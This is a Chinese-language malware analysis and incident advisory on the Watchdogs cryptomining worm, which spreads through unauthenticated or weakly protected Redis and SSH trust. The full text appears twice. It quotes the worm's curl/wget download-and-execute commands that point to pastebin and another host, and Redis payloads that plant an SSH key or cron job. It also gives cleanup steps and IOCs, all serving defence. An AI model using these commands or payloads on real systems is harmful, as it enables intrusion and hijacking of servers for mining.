Watchdogs利用Redis實施大規模挖礦,常見數據庫蠕蟲如何破?背景 2月20日17時許,阿里雲安全監測到一起大規模挖礦事件,判斷爲Watchdogs蠕蟲導致,並在第一時間進行了應急處置。

背景

2月20日17時許,阿里雲安全監測到一起大規模挖礦事件,判斷爲Watchdogs蠕蟲導致,並在第一時間進行了應急處置。

該蠕蟲短時間內即造成大量Linux主機淪陷,一方面是利用Redis未授權訪問和弱密碼這兩種常見的配置問題進行傳播,另一方面從known_hosts文件讀取ip列表,用於登錄信任該主機的其他主機。這兩種傳播手段都不是第一次用於蠕蟲,但結合在一起爆發出巨大的威力。

然而Watchdogs並不是第一個造成這般影響的Redis蠕蟲。截至目前,Redis配置問題已慘遭40餘種蠕蟲攻擊和利用;此外,其他種類數據庫的配置問題,也難保不在將來成爲黑客的目標。

因此,本文在分析此次Watchdogs挖礦蠕蟲、提供清理建議的同時,也分析了數據庫蠕蟲的發展趨勢,並針對類似的大規模入侵事件的應急和預防給出建議。

Watchdogs 挖礦蠕蟲簡介

該蠕蟲的感染路徑如下圖所示。

_

蠕蟲傳播方式

攻擊者首先掃描存在未授權訪問或弱密碼的Redis,並控制相應主機去請求以下地址:

https://pastebin.com/raw/sByq0rym

該地址包含的命令是請求、base64解碼並執行另一個url地址的內容:

(curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh

https://pastebin.com/raw/D8E71JBJ 的內容解碼後爲一個bash腳本,腳本中又包含下載惡意程序Watchdogs的指令。

(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs

如上圖所示,本次蠕蟲的橫向傳播分爲兩塊。

一是Bash腳本包含的如下內容,會直接讀取主機上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub文件,用於登錄信任當前主機的機器,並控制這些機器執行惡意指令。

_

二是Bash腳本下載的Watchdogs程序,通過對Redis的未授權訪問和爆破、以及對SSH的爆破,進行橫向傳播。

具體爲表現爲,Watchdogs程序的Bbgo()函數中,首先獲取要攻擊的ip列表
IP_

隨後嘗試登錄其他主機的ssh服務,一旦登錄成功則執行惡意腳本下載命令
_

在Ago()函數中,則表現爲針對其他主機Redis的掃描和攻擊。
_

惡意Bash腳本

除了下載Watchdogs程序和橫向傳播外,Bash腳本還具有以下幾項功能

1.將下載自身的指令添加到crontab定時任務,10分鐘執行一次
10_

2.殺死同類的挖礦殭屍木馬進程
_

殺死cpu佔用大於80%的其他進程
_

簡而言之,bash腳本主要是完成惡意程序植入、持久化和一部分的橫向傳播功能。

Watchdogs分析

Watchdogs程序爲elf可執行文件,由go語言編譯,其主要函數結構如下圖所示。

_

1.LibiosetWrite()

該函數主要執行libioset.so文件的寫入
_

2.Cron()
將惡意下載命令添加到/etc/cron.d/root等多個文件中,定時執行,加大清理難度
_

3.KsoftirqdsWriteRun()
解壓並寫入挖礦程序及其配置文件
_

Bbgo()和Ago()函數的功能在“蠕蟲傳播方式”一節已有介紹,此處不再贅述。

綜上,Watchdogs程序在Bash腳本執行的基礎上,將進一步進行挖礦程序的釋放和執行、惡意so文件寫入以及剩餘的橫向傳播。

libioset.so分析

如圖是libioset.so的導出函數表,包括unlink, rmdir, readdir等。
readdir

這裏以執行rm命令必須調用的unlink()函數爲例。

它只對不包含"ksoftirqds"、"ld.so.preload"、"libioset.so"這幾個字符串的文件調用正常的unlink(),導致幾個文件無法被正常刪除。
_

其他幾個命令,如readdir也是類似,無法正常返回關於惡意程序的結果。

而fopen函數更是變本加厲,由於系統查詢cpu使用情況和端口占用情況時,都會調用fopen,於是攻擊者hook了這一函數,使其在讀取'/proc/stat'和'/proc/net/tcp'等文件時,調用僞造函數

_

其中forge_proc_cpu()函數,將返回硬編碼的字符串

_

這種對查看系統狀態功能的惡意hook,導致用戶難以通過簡單自查,確定挖礦是否存在以及挖礦進程是哪個。

“許多黑客模仿我的代碼”——數據庫蠕蟲趨勢統計

此次的Watchdogs挖礦蠕蟲與18年出現的kworkerd蠕蟲出自同一位作者(關於kworkerd挖礦殭屍網絡參見《2018年雲上挖礦分析報告》),因爲它們使用了相同的錢包地址和相似的攻擊手法。此外作者在惡意腳本末尾的註釋也印證了這點:

#1.If you crack my program, please don't reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)...

這段註釋同時也揭露了一個事實,“許多黑客模仿我的代碼”——當一個攻擊者採取了某種攻擊手法並取得成功,其他攻擊者會紛紛模仿,很快將該手段加入自己的“攻擊大禮包”。

這種模仿的結果是,據阿里雲安全不完全統計,利用Redis未授權訪問等問題進行攻擊的蠕蟲,數量已從2018年中的一個,上漲到如今的40餘個,其中不乏DDG、8220這樣臭名昭著的挖礦團伙。此外大部分近期新出現的蠕蟲,都會加上Redis利用模塊,因爲實踐證明互聯網上錯誤配置的Redis數據庫數量龐大,能從其中分一杯羹,攻擊者的盈利就能有很大的提升。

因而如果不保護好Redis,用戶面臨的將不是一個蠕蟲,而是40餘個蠕蟲此起彼伏的攻擊。

下圖所示爲近半年來,針對Redis的攻擊流量和目標機器數量趨勢,從中不難看出Redis攻擊逐漸被各大殭屍網絡採用,並在2018年10月11月保持非常高的攻擊量;而後在經歷了3個月左右的沉寂期後,在今年2月再次爆發。

_

而Redis本身遭受攻擊的主流方法也經過了三個階段

1.攻擊者對存在未授權訪問的Redis服務器寫入ssh key,從而可以暢通無阻登錄ssh服務

具體爲執行以下payload

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n"
save

其中【sshkey】表示攻擊者的密鑰

2.攻擊者對存在未授權訪問的Redis服務器寫入crontab文件,定時執行惡意操作

具體爲執行以下payload

config set dir /var/spool/cron
config set dbfilename root
set x "【evil command】"
save

其中【evil command】表示定時執行的惡意命令

3.以上兩個階段中僅對Redis完全沒有驗證即可訪問的情況,第三個階段則開始針對設置了密碼驗證,但密碼較弱的Redis進行攻擊,受害範圍進一步擴大。

然而Redis並不是唯一一個受到黑客“青眼”的數據庫。如下表所示,SQL Server, Mysql, Mongodb這些常用數據庫的安全問題,也被多個挖礦殭屍網絡所利用;利用方式集中在未授權訪問、密碼爆破和漏洞利用。

Watchdogs入侵修復及清理方法

1.首先停止cron服務,避免因其不斷執行而導致惡意文件反覆下載執行。

如果操作系統可以使用service命令,則執行

service crond stop

如果沒有service命令,執行

/etc/init.d/cron stop

2.隨後使用busybox刪除以下兩個so文件:

sudo busybox rm -f /etc/ld.so.preload
sudo busybox rm -f /usr/local/lib/libioset.so
sudo ldconfig

busybox是一個小巧的unix工具集,許多Linux系統裝機時已集成。使用它進行刪除是因爲系統自帶的rm命令需要進行動態so庫調用,而so庫被惡意hook了,無法進行正常刪除;而busybox的rm是靜態編譯的,無需調用so文件,所以不受影響。

3.清理惡意進程

sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`

4.清理cron相關文件,重啓服務,具體爲檢查以下文件並清除其中的惡意指令:

/var/spool/cron/crontabs/root
/var/spool/cron/root
/etc/cron.d/root

之後執行

service crond start

/etc/init.d/cron start

安全建議

數字加密貨幣的獲取依賴計算資源的特質,催生了黑客進行大規模入侵的動機和土壤;類似Watchdogs蠕蟲這樣的數據庫入侵事件,不是第一起,也不會是最後一起。阿里雲作爲“編寫時即考慮安全性”的平臺,提供良好的安全基礎設施和豐富的安全產品,幫助用戶抵禦挖礦和入侵,同時提供以下安全建議:

1.在入侵發生之前,加強數據庫服務的密碼,儘量不將數據庫服務開放在互聯網上,或根據實際情況進行訪問控制(ACL)。這些措施能夠幫助有效預防挖礦、勒索等攻擊。平時還要注意備份資料,重視安全產品告警。

2.如果懷疑主機已被入侵挖礦,對於自身懂安全的用戶,在攻擊者手段較簡單的情況下,可以通過自查cpu使用情況、運行進程、定時任務等方式,鎖定入侵源頭。

3.對於攻擊者採用較多隱藏手段的攻擊(如本次的Watchdogs蠕蟲,使ps、top等系統命令失效),建議使用阿里雲安全的下一代雲防火牆產品,其阻斷惡意外聯、能夠配置智能策略的功能,能夠有效幫助防禦入侵。哪怕攻擊者在主機上的隱藏手段再高明,下載、挖礦、反彈shell這些操作,都需要進行惡意外聯;雲防火牆的攔截將徹底阻斷攻擊鏈。此外,用戶還可以通過自定義策略,直接屏蔽pastebin.com、thrysi.com等廣泛被挖礦蠕蟲利用的網站,達到阻斷入侵的目的。

  1. _

如圖是雲防火牆幫助用戶攔截此次Watchdogs蠕蟲下載的例子,圖中共攔截23次對pastebin.com的請求;這些攔截導致主機未下載惡意腳本,從而就不會發起對thrysi.com的請求,故規則命中次數爲0。

以上截圖表明Watchdogs的攻擊鏈未能執行到下一步,攔截起到了很好的效果。

4.對於有更高定製化要求的用戶,可以考慮使用阿里雲安全管家服務。購買服務後將有經驗豐富的安全專家提供諮詢服務,定製適合您的方案,幫助加固系統,預防入侵。入侵事件發生後,也可介入直接協助入侵後的清理、事件溯源等,適合有較高安全需求的用戶,或未僱傭安全工程師,但希望保障系統安全的企業。

IOC

錢包地址
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava

礦池地址
xmr.f2pool.com

惡意url
pastebin.com/raw/sByq0rym

thyrsi.com/t6/672/1550667515x1822611209.jpg

惡意文件
_

本文作者:悟泛、桑鐸、目明

原文鏈接

背景

2月20日17時許,阿里雲安全監測到一起大規模挖礦事件,判斷爲Watchdogs蠕蟲導致,並在第一時間進行了應急處置。

該蠕蟲短時間內即造成大量Linux主機淪陷,一方面是利用Redis未授權訪問和弱密碼這兩種常見的配置問題進行傳播,另一方面從known_hosts文件讀取ip列表,用於登錄信任該主機的其他主機。這兩種傳播手段都不是第一次用於蠕蟲,但結合在一起爆發出巨大的威力。

然而Watchdogs並不是第一個造成這般影響的Redis蠕蟲。截至目前,Redis配置問題已慘遭40餘種蠕蟲攻擊和利用;此外,其他種類數據庫的配置問題,也難保不在將來成爲黑客的目標。

因此,本文在分析此次Watchdogs挖礦蠕蟲、提供清理建議的同時,也分析了數據庫蠕蟲的發展趨勢,並針對類似的大規模入侵事件的應急和預防給出建議。

Watchdogs 挖礦蠕蟲簡介

該蠕蟲的感染路徑如下圖所示。

_

蠕蟲傳播方式

攻擊者首先掃描存在未授權訪問或弱密碼的Redis,並控制相應主機去請求以下地址:

https://pastebin.com/raw/sByq0rym

該地址包含的命令是請求、base64解碼並執行另一個url地址的內容:

(curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh

https://pastebin.com/raw/D8E71JBJ 的內容解碼後爲一個bash腳本,腳本中又包含下載惡意程序Watchdogs的指令。

(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs

如上圖所示,本次蠕蟲的橫向傳播分爲兩塊。

一是Bash腳本包含的如下內容,會直接讀取主機上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub文件,用於登錄信任當前主機的機器,並控制這些機器執行惡意指令。

_

二是Bash腳本下載的Watchdogs程序,通過對Redis的未授權訪問和爆破、以及對SSH的爆破,進行橫向傳播。

具體爲表現爲,Watchdogs程序的Bbgo()函數中,首先獲取要攻擊的ip列表
IP_

隨後嘗試登錄其他主機的ssh服務,一旦登錄成功則執行惡意腳本下載命令
_

在Ago()函數中,則表現爲針對其他主機Redis的掃描和攻擊。
_

惡意Bash腳本

除了下載Watchdogs程序和橫向傳播外,Bash腳本還具有以下幾項功能

1.將下載自身的指令添加到crontab定時任務,10分鐘執行一次
10_

2.殺死同類的挖礦殭屍木馬進程
_

殺死cpu佔用大於80%的其他進程
_

簡而言之,bash腳本主要是完成惡意程序植入、持久化和一部分的橫向傳播功能。

Watchdogs分析

Watchdogs程序爲elf可執行文件,由go語言編譯,其主要函數結構如下圖所示。

_

1.LibiosetWrite()

該函數主要執行libioset.so文件的寫入
_

2.Cron()
將惡意下載命令添加到/etc/cron.d/root等多個文件中,定時執行,加大清理難度
_

3.KsoftirqdsWriteRun()
解壓並寫入挖礦程序及其配置文件
_

Bbgo()和Ago()函數的功能在“蠕蟲傳播方式”一節已有介紹,此處不再贅述。

綜上,Watchdogs程序在Bash腳本執行的基礎上,將進一步進行挖礦程序的釋放和執行、惡意so文件寫入以及剩餘的橫向傳播。

libioset.so分析

如圖是libioset.so的導出函數表,包括unlink, rmdir, readdir等。
readdir

這裏以執行rm命令必須調用的unlink()函數爲例。

它只對不包含"ksoftirqds"、"ld.so.preload"、"libioset.so"這幾個字符串的文件調用正常的unlink(),導致幾個文件無法被正常刪除。
_

其他幾個命令,如readdir也是類似,無法正常返回關於惡意程序的結果。

而fopen函數更是變本加厲,由於系統查詢cpu使用情況和端口占用情況時,都會調用fopen,於是攻擊者hook了這一函數,使其在讀取'/proc/stat'和'/proc/net/tcp'等文件時,調用僞造函數

_

其中forge_proc_cpu()函數,將返回硬編碼的字符串

_

這種對查看系統狀態功能的惡意hook,導致用戶難以通過簡單自查,確定挖礦是否存在以及挖礦進程是哪個。

“許多黑客模仿我的代碼”——數據庫蠕蟲趨勢統計

此次的Watchdogs挖礦蠕蟲與18年出現的kworkerd蠕蟲出自同一位作者(關於kworkerd挖礦殭屍網絡參見《2018年雲上挖礦分析報告》),因爲它們使用了相同的錢包地址和相似的攻擊手法。此外作者在惡意腳本末尾的註釋也印證了這點:

#1.If you crack my program, please don't reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)...

這段註釋同時也揭露了一個事實,“許多黑客模仿我的代碼”——當一個攻擊者採取了某種攻擊手法並取得成功,其他攻擊者會紛紛模仿,很快將該手段加入自己的“攻擊大禮包”。

這種模仿的結果是,據阿里雲安全不完全統計,利用Redis未授權訪問等問題進行攻擊的蠕蟲,數量已從2018年中的一個,上漲到如今的40餘個,其中不乏DDG、8220這樣臭名昭著的挖礦團伙。此外大部分近期新出現的蠕蟲,都會加上Redis利用模塊,因爲實踐證明互聯網上錯誤配置的Redis數據庫數量龐大,能從其中分一杯羹,攻擊者的盈利就能有很大的提升。

因而如果不保護好Redis,用戶面臨的將不是一個蠕蟲,而是40餘個蠕蟲此起彼伏的攻擊。

下圖所示爲近半年來,針對Redis的攻擊流量和目標機器數量趨勢,從中不難看出Redis攻擊逐漸被各大殭屍網絡採用,並在2018年10月11月保持非常高的攻擊量;而後在經歷了3個月左右的沉寂期後,在今年2月再次爆發。

_

而Redis本身遭受攻擊的主流方法也經過了三個階段

1.攻擊者對存在未授權訪問的Redis服務器寫入ssh key,從而可以暢通無阻登錄ssh服務

具體爲執行以下payload

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n"
save

其中【sshkey】表示攻擊者的密鑰

2.攻擊者對存在未授權訪問的Redis服務器寫入crontab文件,定時執行惡意操作

具體爲執行以下payload

config set dir /var/spool/cron
config set dbfilename root
set x "【evil command】"
save

其中【evil command】表示定時執行的惡意命令

3.以上兩個階段中僅對Redis完全沒有驗證即可訪問的情況,第三個階段則開始針對設置了密碼驗證,但密碼較弱的Redis進行攻擊,受害範圍進一步擴大。

然而Redis並不是唯一一個受到黑客“青眼”的數據庫。如下表所示,SQL Server, Mysql, Mongodb這些常用數據庫的安全問題,也被多個挖礦殭屍網絡所利用;利用方式集中在未授權訪問、密碼爆破和漏洞利用。

Watchdogs入侵修復及清理方法

1.首先停止cron服務,避免因其不斷執行而導致惡意文件反覆下載執行。

如果操作系統可以使用service命令,則執行

service crond stop

如果沒有service命令,執行

/etc/init.d/cron stop

2.隨後使用busybox刪除以下兩個so文件:

sudo busybox rm -f /etc/ld.so.preload
sudo busybox rm -f /usr/local/lib/libioset.so
sudo ldconfig

busybox是一個小巧的unix工具集,許多Linux系統裝機時已集成。使用它進行刪除是因爲系統自帶的rm命令需要進行動態so庫調用,而so庫被惡意hook了,無法進行正常刪除;而busybox的rm是靜態編譯的,無需調用so文件,所以不受影響。

3.清理惡意進程

sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`

4.清理cron相關文件,重啓服務,具體爲檢查以下文件並清除其中的惡意指令:

/var/spool/cron/crontabs/root
/var/spool/cron/root
/etc/cron.d/root

之後執行

service crond start

/etc/init.d/cron start

安全建議

數字加密貨幣的獲取依賴計算資源的特質,催生了黑客進行大規模入侵的動機和土壤;類似Watchdogs蠕蟲這樣的數據庫入侵事件,不是第一起,也不會是最後一起。阿里雲作爲“編寫時即考慮安全性”的平臺,提供良好的安全基礎設施和豐富的安全產品,幫助用戶抵禦挖礦和入侵,同時提供以下安全建議:

1.在入侵發生之前,加強數據庫服務的密碼,儘量不將數據庫服務開放在互聯網上,或根據實際情況進行訪問控制(ACL)。這些措施能夠幫助有效預防挖礦、勒索等攻擊。平時還要注意備份資料,重視安全產品告警。

2.如果懷疑主機已被入侵挖礦,對於自身懂安全的用戶,在攻擊者手段較簡單的情況下,可以通過自查cpu使用情況、運行進程、定時任務等方式,鎖定入侵源頭。

3.對於攻擊者採用較多隱藏手段的攻擊(如本次的Watchdogs蠕蟲,使ps、top等系統命令失效),建議使用阿里雲安全的下一代雲防火牆產品,其阻斷惡意外聯、能夠配置智能策略的功能,能夠有效幫助防禦入侵。哪怕攻擊者在主機上的隱藏手段再高明,下載、挖礦、反彈shell這些操作,都需要進行惡意外聯;雲防火牆的攔截將徹底阻斷攻擊鏈。此外,用戶還可以通過自定義策略,直接屏蔽pastebin.com、thrysi.com等廣泛被挖礦蠕蟲利用的網站,達到阻斷入侵的目的。

  1. _

如圖是雲防火牆幫助用戶攔截此次Watchdogs蠕蟲下載的例子,圖中共攔截23次對pastebin.com的請求;這些攔截導致主機未下載惡意腳本,從而就不會發起對thrysi.com的請求,故規則命中次數爲0。

以上截圖表明Watchdogs的攻擊鏈未能執行到下一步,攔截起到了很好的效果。

4.對於有更高定製化要求的用戶,可以考慮使用阿里雲安全管家服務。購買服務後將有經驗豐富的安全專家提供諮詢服務,定製適合您的方案,幫助加固系統,預防入侵。入侵事件發生後,也可介入直接協助入侵後的清理、事件溯源等,適合有較高安全需求的用戶,或未僱傭安全工程師,但希望保障系統安全的企業。

IOC

錢包地址
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava

礦池地址
xmr.f2pool.com

惡意url
pastebin.com/raw/sByq0rym

thyrsi.com/t6/672/1550667515x1822611209.jpg

惡意文件
_

本文作者:悟泛、桑鐸、目明

原文鏈接

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章